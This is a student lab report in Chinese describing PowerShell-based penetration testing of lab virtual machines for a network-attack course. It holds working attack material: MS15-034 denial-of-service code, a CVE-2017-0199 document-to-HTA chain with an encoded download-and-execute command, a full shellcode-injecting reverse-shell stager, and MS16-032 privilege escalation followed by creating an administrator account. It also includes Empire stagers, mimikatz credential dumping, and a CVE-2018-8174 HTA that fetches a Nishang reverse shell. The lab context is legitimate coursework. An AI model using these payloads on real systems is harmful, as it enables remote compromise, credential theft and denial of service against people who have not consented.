2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践
目录
实验内容
==========
- [PoweShell简介](#1)
- [PowerShell入门学习](#2)
- [PowerShell渗透工具介绍](#3)
- [相关渗透实践分析](#4)
- [ms15-034之Powershell版攻击](#5)
- [CVE-2017-0199结合PowerShell](#6)
- [沙虫”二代漏洞(CVE-2017-8570)分析](#7)
- [EMPIRE内置ms16-032漏洞](#8)
- ["震网三代" CVE-2017-8464](#9)
- [“双杀”0day漏洞 CVE-2018-8174](#11)
- [PowerShell利用现状](#10)
实验步骤
==========
## 一、PowerShell简介
### 1.PowerShell是什么
- PowerShell,从名字可以知道,它首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样即在里边敲命令(可执行文件)使用;而Power就意味它是一个功能强大的shell。
- 其功能强大体现在以下几方面:
- Shell的简单性,简单的命令,即时与系统交互;另外微软切实的推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现。
- 兼容性cmd。PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础上添加命令。
- 对标Linux。PowerShell使用了Linux Shell的思想,也就是所有的系统操作、配置,都可以在shell中敲写命令实现。
2.PowerShell作用
(1)与文件系统交互、运行应用程序
- 像在Dos中一样,在PowerShell的交互界面上键入
dir
并回车,会显示当前文件夹下的子文件夹和文件信息
- 可以进入到应用程序或文件所在目录下,使用
.\名称
打开应用程序或文件
(2)创建脚本
- PowerShell支持将命令列表做成脚本文件来执行。在 Windows PowerShell 中,脚本文件的文件扩展名为
.ps1
。若要运行脚本,在命令提示符下键入该脚本的名称,文件扩展名是可选的。- test:下面是
hello.ps1
脚本文件的内容
这个脚本:先定义了一个变量,然后输出这个变量的结果,再将这个变量的值写入文件$a = "Hello" $a echo $a > a.txt dir a.txt
a.txt
,最后输出这个文件的属性信息 - 运行结果
- test:下面是
(3)powershell 背后依靠的是一套完整的 .NET 编程体系,能够利用.Net类型和COM对象,这让PowerShell能够最大限度的利用现有资源,并且很容易把.Net和COM程序员招徕到自己麾下
- 简单类型:
[int]$a = 10 [String]$b = 10
- .Net类型
$Message = new-object Net.Mail.MailMessage("me@source.com","you@destination.com", "Subject", <br> "Here is some email")
- COM对象
$myWord = new-object -comobject Word.Application
- 创建了.Net或者COM的对象以后,就可以利用这些对象的属性和方法,来完成更加复杂的操作。
(4)任何函数与对象都能够通过help *命令
来查看其帮助文档(准确来说应该是Get-Help
函数,这是更加“面向对象”化的命名方式,而help
是它的别名),如果看不明白,加上-examples
参数会有应用实例,如果仍看不明白,加上-online
参数会打开完整的在线帮助文档。
(5)PowerShell中兼容部分的cmd命令和unix/linux shell的命令
3、PowerShell特点
- PowerShell脚本可以运行在内存中,不需要写入磁盘。
- 可以从另一个系统中下载PowerShell脚却本并执行。
- 目前很多工具都是基于PowerShell开发的。很多安全软件并不能检测到PowerShell的活动
cmd.exe
通常会被阻止运行,但是PowerShell
不会。- 可以用来管理活动目录
- 这些特点使得PowerShell在获得和保持对系统的访问权限时,成为攻击者首选的攻击手段,利用PowerShell诸多特点,攻击者可以持续攻击而不被轻易发现。
二、PowerShell入门学习
- 学习博客在这:Final——PowerShell入门学习
三、渗透工具介绍
1、常用的PowerShell攻击工具
- PowerSploit
- PowerShell后期漏洞利用框架,常用于信息探测,特权提升,凭证窃取,持久化等操作。
- Nishang
- 基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
- Empire
- 基于PowerShell的远程控制木马,可以凭证数据库中导出和跟踪凭证信息,常用与提供前期漏洞利用的集成模块,信息探测,凭据窃取,持久化控制。
- PowerCat
- PowerShell版的NetCat,传说中的”瑞士军刀”,能通过TCP和UDP在网络中读取数据,通过与其他工具的结合和重定向,可以在脚本中以多种方式使用。
2、Empire
3、Nishang
四、相关渗透实践
1、ms15-034之Powershell版攻击
- ms15-034漏洞出在http.sys文件中,这个文件是IIS的一个重要组件,功能和特性对windows来说意义重大。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。
- ms15-034在metasploit有相应的攻击模块,
auxiliary/dos/http/ms15_034_ulonglongadd
模块可直接造成服务器蓝屏,auxiliary/scanner/http/ms15_034_http_sys_memory_dump
检测漏洞,发现仅针对:windoiws 8.1, 2012, or 2012R2有效。
-
在PowerShell下,该代码实现了对系统检测是否有该漏洞以及dos攻击。下面我们来实践:
- 测试装了windows2008的服务器是否有该漏洞
Import-Module .\MS15034.psm1 Test-MS15034 -Computer 192.168.80.132 -Windows2008
结果为存在该漏洞- 检测部分的代码为
Test-MS15034
部分
try { $Result = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 0 -UpperRange 18446744073709551615 -UseSSL:$UseSSL } catch { Throw ('An error occured during the connection to http://{0}:{1}{2}' -f $Computer, $Port, $SrvPath) } Write-Verbose -Message $Result if (-not $Result.contains('Server: Microsoft')) { Write-Error -Message 'The server does not appear to be running HTTP.SYS' } elseif ($Result.contains('HTTP/1.1 416 Requested Range Not Satisfiable')) { 'This server is vulnerable to MS 15-034' } elseif ($Result.contains('HTTP Error 400. The request has an invalid header name.')) { 'The server is not vulnerable to MS 15-034' } elseif ($Result.contains('HTTP/1.1 404 Not Found')) { Write-Error -Message 'The provided path has not been found, check you have selected the right operating system, or specified a valid file in -ServerPath' } else { 'Some other error has occured ?!?!?' }
- 检测部分的代码为
- 执行拒绝服务攻击
瞬间蓝屏重启!!Import-Module .\MS15034.psm1 Invoke-MS15034DOS -Computer 192.168.80.132 -Windows2008
该部分的代码在Invoke-MS15034DOS
,执行时先测试被攻击的服务器是否是有漏洞的,有漏洞它才会执行攻击。这里仅执行dos攻击,dos攻击的http header
需要被指定为Range: bytes=0-18446744073709551615
。$null = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 18 -UpperRange 18446744073709551615 -UseSSL:$UseSSL
- 测试装了windows2008的服务器是否有该漏洞
-
查找资料,该漏洞同HTTP头中的
Range
域有直接的关系,Range
请求是HTTP协议中HTTP客户端用于只获取服务器上文件的某一部分数据的请求域。- IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Ranges对象的指定范围,而缓存中则包含了http文件和大小信息等。
- 在代码中
$HTTPRequest = "GET {0} HTTP/1.1
rnHost: stuff
rnRange: bytes={1}-{2}
rn
rn" -f $Path, $LowerRange, $UpperRange
定义HTTP的range请求- 使用
$TCPStream.Write($EncodedRequest,0,$EncodedRequest.Length)
来发送出经过编码后的恶意HTTP请求 - IIS收到请求后会返回信息,接收部分
# Decode the response and then return it $HTTPResponse = [System.Text.Encoding]::ASCII.GetString($ReceiveBuffer,0,$TCPClientRBSize)
2、CVE-2017-0199结合PowerShell
- CVE-2017-0199是2017年4月11日发布的一个Microsoft Office RTF漏洞,当用户打开包含嵌入式漏洞的文档时,允许使用者下载并执行恶意的Visual Basic脚本。office使用用户非常多,因此该漏洞可用作许多社工攻击。
- 受影响系统包括:Microsoft office 2016;Microsoft office 2013;Microsoft office 2010;Microsoft office 2007;
- 在可访问的服务器中建一个RTF空文件:
echo ''>rtf.rtf
- 新建一个word文档,打开文档找到
插入
-对象
-由文件创建
,加上http://xxxxxx/rtf.rtf
,并勾选链接到文件
,保存。(这里的地址是一个可访问的服务器的地址关于如何搭建服务器请看这)
- 将
docx
后缀换为zip
在打开,找到word
-_rels
-document.xml.rels
,用记事本打开- 找到下面的代码
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
- 修改为以下代码后保存
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
- 找到下面的代码
- 现在对一段反弹meterpreter的powershell语句进行base64编码(为了避免一些特殊字符带来的错误)
powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.129//rev.ps1'),rev
- 在服务器中添加一个
hta.hta
文件,放到上面链接能访问到的位置,并将上面编码后的代码插入到下面:<html> <head> <script> var c= 'powershell.exe -ep bypass -enc cG93ZXJzaGVsbC5leGUgLWVwIGJ5cGFzcyBJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjgwLjEyOS8vcmV2LnBzMScpO3Jldg==';new ActiveXObject('WScript.Shell').Run(c,0); </script> </head> <body> <script> self.close(); </script> </body> </html>
- 在可访问的服务器下,添加一个powershell脚本
rev.ps1
注意其中的function rev { $c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); "@ try{ $s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) $s.Connect('127.0.0.1', 5330) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) } for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400 } catch {} }
$s.Connect('x.x.x.x', 2333)
是msf监听的地址和端口! - 现在msf下开启监听
- 运行docx文件,当跳出弹框选择时已经弹回shell
3、“沙虫”二代漏洞(CVE-2017-8570)分析
- 在之前的实验中我有做过该漏洞实践(链接),该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化“Script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。
- 我们查看样本内部的
ppt\slides\_rels\slide1.xml.rels
文件,会发现其中Id为rId3
的是一个OLE对象
,指向一个外部链接
- 该链接指向一个远程服务器上的sct脚本文件,其内容如下,主要功能是通过powershell下载我们用msfvenom生成的恶意代码。
- 我们查看监听过程就可以看到请求
- 靶机运行ppsx,就激活对象,kali方得到下载请求,下载后发送恶意代码
with open(payloadlocation) as fin: data +=fin.read() onn.send(data) conn.close() sys.exit(1)
- 查看
ppt\slides\slide1.xml
文件,其中rId3
被定义为一个link
对象,并设置了verb
行为。verb
的功能是在PowerPoint播放动画时激活这个对象,从而执行远程下载的脚本文件,所以我们会看到在执行时闪退一个cmd框,其就在运行恶意powershell脚本。
4、EMPIRE内置ms16-032漏洞
- 该漏洞是Windows特权提升漏洞,如果 Windows 辅助登录服务未能正确管理内存中的请求句柄,Microsoft Windows 中会存在一个特权提升漏洞。 成功利用此漏洞的攻击者能够以管理员身份运行任意代码。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
- 启动Empire:
./empire
- 我们按照之前的Final——PowerShell Empire拿到上线主机
- 与靶机交互:
interact tcc
- 内置模块ms16-032提权
usemodule privesc/ms16-032 set Listener xiaobai execute
- 查看返回结果
emm显示我的主机没有未捕获有效的线程句柄,看来是有相关补丁,我们换一个系统 - 而除了上面方式,该漏洞有对应脚本(链接),现在换种方式对win7虚拟机进行ms16-032漏洞提权。
- 调用脚步:
. .\Invoke-MS16-032
- 执行提权:
Invoke-MS16-032
- 结果显示错误提示
系统需要有2个以上的CPU核心,正在退出!
- 调用脚步:
- 查阅资料才知道ms16-032漏洞提权需要两个条件
目标系统需要有2个以上的CPU核心 PowerShell v2.0及更高版本必须正在运行
- 所以对虚拟机的处理器进行修改修改为2个处理器
- 重启win7后重新提权:
Invoke-MS16-032
,成功!得到一个最高权限!
- 下面就可以进行一些操作了
- 添加新用户:
net user 1 1 /add
- 给新用户赋予最高权限:
net localgroup administrators 1 /add
- 添加新用户:
- 我们试着远程登陆另一台计算机(目标机要开启远程登陆功能,参考远程桌面连接
- 输入命令:
mstsc
- 输入目标的IP
- 输入密码后登陆入系统
- 输入命令:
5、"震网三代" CVE-2017-8464
- 该漏洞原理:Windows系统通过解析 .LNK 后缀文件时,是使用二进制来解析的,而当恶意的二进制代码被系统识别执行的时候就可以实现远程代码执行,由于是在explorer.exe进程中运行的,所以load进内存的时候与当前用户具有相同的权限。于是攻击者利用这一解析过程的漏洞,将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后就会被黑客所控制。
- 影响版本:Windows 7、Windows 8.1、Windows RT 8.1、Windows 10、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012、Windows Server 2012 R2、Windows Server 2016
- 使用Empire工具对Win7系统进行攻击
- 我们先生成Windows能够识别的
.bat
脚本文件usestager windows/launcher_bat set Listener tc execute
- 使用记事本打开bat脚本时,可以看到,恶意二进制代码使用base64加密
- 我们先生成Windows能够识别的
- 将这此
.bat
文件在Windows中运行,回到监听端口就可以看到目标主机已经上线
- 接下来我们进入监听的win7,进行进一步的提权操作
- 与靶机交互:
interact 名称
- 使用模块:
usemodule code_execution/invoke_shellcode
可以将shell弹回msf进行提权,要注意所设置的LPORT
和LHOST
与msf设置的一样。
这里我没有回弹成功,我就继续使用Empire进行提权吧 - 使用
mimikatz
获取用户明文密码
- 获取靶机剪切板内容:
usemodule collection/clipboard_monitor
- 执行文件中的调试器
usemodule lateral_movement/invoke_wmi_debugger
- 与靶机交互:
- 另外查阅资料找到一位作者写的用脚本复现
LNKOutPath
:本地保存LNK文件的全路径。TargetCPLPath
:本地/远程目标cpl的全路径。- 使用:
Export-LNKPwn -LNKOutPath C:\Users\ASUS\Desktop\aaa\bbb\Path.lnk -TargetCPLPath C:\Users\ASUS\Desktop\Path.cpl -Type SpecialFolderDataBlock
6、“双杀”0day漏洞 CVE-2018-8174
- CVE-2018-8174是Windows VBScriptEngine代码执行漏洞,由于 VBScript 脚本执行引擎(vbscript.dll)存在该漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户受诱导或不慎点击恶意链接或文档,攻击者便可远程获取当前用户系统权限,进而完全控制用户电脑。
- 构造HTA文件,当访问hta文件就会触发powershell下载文件至临时目录执行(利用 mshta 从远程服务器下载文件执行)。
<script> a=new ActiveXObject("WScript.Shell"); a.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://10.0.0.216/test.hta\', \'c:/windows/temp/mshta.exe\'); c:/windows/temp/WINWORD.exe', 0); window.close(); </script>
- kali下把
test.hta
文件放在/var/www/html
目录下 - 使用msfvenom生成
js Shellcode
:msfvenom -p windows/exec cmd='mshta http://10.0.0.230/test.hta' -f js_le exitfunc=thread -a x86
- 下载 metasploit 模块到本地:
git clone https://github.com/0x09AL/CVE-2018-8174-msf.git
- 将
CVE-2018-8174.rb
复制到fileformat
目录:cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
- 将
CVE-2018-8174.rtf
复制到exploits
目录:cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/
- 将
- 下载
CVE-2018-8174 python
脚本:git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
- 把生成的Shellcode字符替换至
CVE-2018-8174.py
该行代码处
- 生成Word文档:
python CVE-2018-8174.py -u http://10.0.0.230/exploit.html -o exp.rtf
- 将生成的网页和文档放入
/var/www/html
目录下 - 开启apache服务:
service apache2 start
- 因为我的rtf文件打开有问题,我就直接用靶机浏览器访问
http://10.0.0.230/exploit.html
下载执行test.hta
文件,并提前开好开启wireshark抓包。(这是之前用另一台kali10.0.0.216
时抓的包)
紧接着,我们就看到执行了test.hta
文件,
- 现在我们利用之前的实践学习修改
test.hta
,获取反弹shell,内容如下:<body> <title>XXX-exp</title> <center> <h1>Caculate.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100% <br> </center> <script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide Hackdo.Run "taskkill /f /im mshta.exe" End If </script> </body> </html>
- 靶机重新访问
http://10.0.0.230/exploit.html
- kali下监听端口:
nc -lvvp 5330
,发现获取shell
PowerShell利用现状
- 近些年利用PowerShell执行恶意代码的攻击频繁发生。此类型攻击利用受害者系统受信任程序的特点,达到系统应用白进程执行恶意代码,从而使受害者难以发现。
- 攻击者通常是利用爆出已久的高危安全漏洞来进行攻击,其中Weblogic反序列化漏洞、MS17-010、Struts2系列漏洞都备受攻击者青睐。部分攻击者还会结合社工,钓鱼的方式利用恶意邮件,并结合Office宏来执行恶意代码,进一步实施攻击。据统计,攻击者在入侵成功后,最喜欢投放的是挖矿木马,其次为勒索病毒,这与数字货币当前的热潮有直接关系。
实验中遇到的问题
==========
- 使用PowerShell执行自己创建的脚本时,提示`无法加载文件,因为在此系统中禁止执行脚本。有关详细信息,请参阅 "get-help about_signing"`
>解决方法:通过查找资料知道这是为了防止恶意脚本执行,powershell默认安全设置里禁用了执行脚本,要启用这个功能需要拥有管理员的权限。所以我们需要在管理员身份运行的PowerShell下输入`set-ExecutionPolicy RemoteSigned`改变执行策略,修改成功后就可以在普通用户下运行脚本啦!
- 在使用Empire运行
./empire
时报错ImportError: No module named iptools
解决方法:python库中缺少该模块,使用
pip install 模块名称
来下载即可,继续运行./empire
,直至不再报错。
- 导入Nishang框架时报错
因为缺少脚本的“#requires”语句指定的以下模块: ActiveDirectory
解决办法:在电脑中找到
控制面板
-程序
-启用或关闭windows功能
,在功能列表中找到Active Directory轻型目录服务
,选中后点击确定按钮即可。
- 用PowerShell远程下载服务器中的脚本文件时,出现错误提示
远程服务器返回错误: (404) 未找到
解决方法:参考“远程服务器返回错误: (404) 未找到”的正确解决方法,打开IIS管理器,找到
MIME
类型,添加一个MIME的类型:扩展名:.* 类型:application/octet-stream
实验总结与体会
==========
- 到现在一学期的网络对抗就结束了,这门课也带给我不一样的体会,在之前的实验课里,我体验到不自己动手去实践,是真的不会懂实验的原理是什么,验收的时候也是检验是否真的实践的方式,从第一次验收的有点不知所措,到后来清晰老师的问题,明白是什么怎么做,我的实践能力也潜移默化的提高了!本次免考一开始是在网上找资料想自己要做什么,偶然就看到了powershell,以为只是跟cmd差不多,在完成免考的过程中,才知晓它的强大,从它独立的语言看起,到综合资料完成一步步的攻击实践,我其实也还只是尝试了它的一角,现在各种病毒也正朝powershell的特点,悄无声息的攻击网络达到目的,也让我意识到在网络世界掌握必要的安全技术的重要性,同时我们所学的专业也有所涉及,希望在今后的学习中可以更多发掘对专业的认识,继续锻炼实践能力,尝试更多自己没有想过的东西!
参考资料